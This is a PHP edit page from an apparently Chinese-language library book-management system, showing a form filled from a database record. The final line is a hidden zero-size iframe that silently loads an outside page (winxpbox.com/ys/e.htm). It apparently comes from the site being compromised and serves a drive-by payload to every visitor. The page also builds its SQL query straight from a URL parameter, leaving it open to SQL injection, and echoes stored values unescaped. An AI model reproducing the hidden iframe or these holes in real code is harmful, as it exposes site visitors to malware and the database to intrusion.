<?php
include "../config.php";

$selected=$_GET["selected"];

$sql="select * from bookmanagement.books where id=".$selected;
$result=mysql_query($sql) or die(mysql_error());;

while($row=mysql_fetch_array($result))
{
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">
  <form action="tsglcl.php" method="post" >
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" align="left" class="tabletitle">　圖書管理--修改</td>
    </tr>
  </table>

  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">
      <td width="100" align="center" class="word">ID</td>
      <td width="665" align="left" class="word">　
        <input name="id" type="text" id="id" size="10" value="<?php echo $row['id']; ?>" />      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">圖書編號</td>
      <td align="left" class="word">　
        <input name="no" type="text" id="no" value="<?php echo $row['no']; ?>" size="20" />      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">圖書名稱</td>
      <td align="left" class="word">　
        <input name="bookname" type="text" id="bookname" value="<?php echo $row['bookname']; ?>" size="64" />      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">圖書類別</td>
      <td align="left" class="word">　
        <input name="category" type="text" id="category" value="<?php echo $row['category']; ?>" size="20" />      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">作　　者</td>
      <td align="left" class="word">　
        <input name="author" type="text" id="author" value="<?php echo $row['author']; ?>" size="32" />      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">出 版 社</td>
      <td align="left" class="word">　
        <input name="press" type="text" id="press" value="<?php echo $row['press']; ?>" size="64" />      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">出版時間</td>
      <td align="left" class="word">　
        <input name="pubdate" type="text" id="pubdate" value="<?php echo $row['pubdate']; ?>" size="20" />      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">頁　　數</td>
      <td align="left" class="word">　
        <input name="page" type="text" id="page" value="<?php echo $row['page']; ?>" size="10" />      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">存放位置</td>
      <td align="left" class="word">　
        <input name="location" type="text" id="location" value="<?php echo $row['location']; ?>" size="20" />      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">入庫時間</td>
      <td align="left" class="word">　
        <input name="intodate" type="text" id="intodate" value="<?php echo $row['intodate']; ?>" size="20" />      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">價　　格</td>
      <td align="left" class="word">　
        <input name="price" type="text" id="price" value="<?php echo $row['price']; ?>" size="10" />
        元</td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">數　　量</td>
      <td align="left" class="word">　
        <input name="amount" type="text" id="amount" value="<?php echo $row['amount']; ?>" size="１０" />
        本      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">借出次數</td>
      <td align="left" class="word">　
        <input name="lendnumber" type="text" id="lendnumber" value="<?php echo $row['lendnumber']; ?>" size="10" />
        次      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">狀　　態</td>
      <td align="left" class="word">　
        <input name="state" type="text" id="state" value="<?php echo $row['state']; ?>" size="20" />      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td align="center" class="word">簡　　介</td>
      <td align="left" class="word">　
        <textarea name="intro" cols="85" rows="5" id="intro"><?php echo $row['intro']; ?></textarea>      </td>
    </tr>
    <tr bgcolor="#BCD2E6" height="25">
      <td height="50" colspan="2" align="center" class="word">
	  <input type="submit" name="submit5" value="修改" />
        　　
      　　　　
<input type="reset" name="Submit2" value="重置" />　　　　　　
      <input type="submit" name="submit4" value="返回" /></td>
    </tr>
  </table> 
  </form>

<?php } ?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>